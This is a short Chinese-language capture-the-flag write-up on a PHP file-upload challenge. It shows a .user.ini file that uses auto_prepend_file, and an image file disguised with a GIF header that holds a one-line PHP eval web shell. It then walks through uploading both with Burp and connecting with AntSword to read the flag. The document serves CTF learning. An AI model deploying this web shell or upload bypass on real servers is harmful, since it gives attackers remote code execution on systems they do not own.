这道题对小白的我来说还是很难的，做出这道题我也是看了很多的解答后自己重新试了一遍（我是在window下进行的，在kali稍微有点不一样，就是那个.user.ini得改为user.ini之后再在抓包那里修改为.user.ini就好了（就是第二步））之所以有点不一样是因为kali中"."开头会隐藏。

1.首先我们需要上传两个文件，一个是.user.ini另一个是a.jpg(a可以随意命名)

.user.ini的内容为

GIF89a                  
auto_prepend_file=a.jpg

a.jpg的内容为

GIF89a
<?=eval($_POST['cmd']);?>

2.接下来先上传.user.ini文件之后用burp抓包

3.然后再上传a.jpg文件

4.上传完之后按fn+f12(笔记本电脑)看网络的url(每个人的可能不太一样)

5.接下来就使用蚁剑连接url就是第四步的网址，密码是cmd

6.连接成功后双击打开网址会出现下面的目录

7.打开flag文件就可以得到flag啦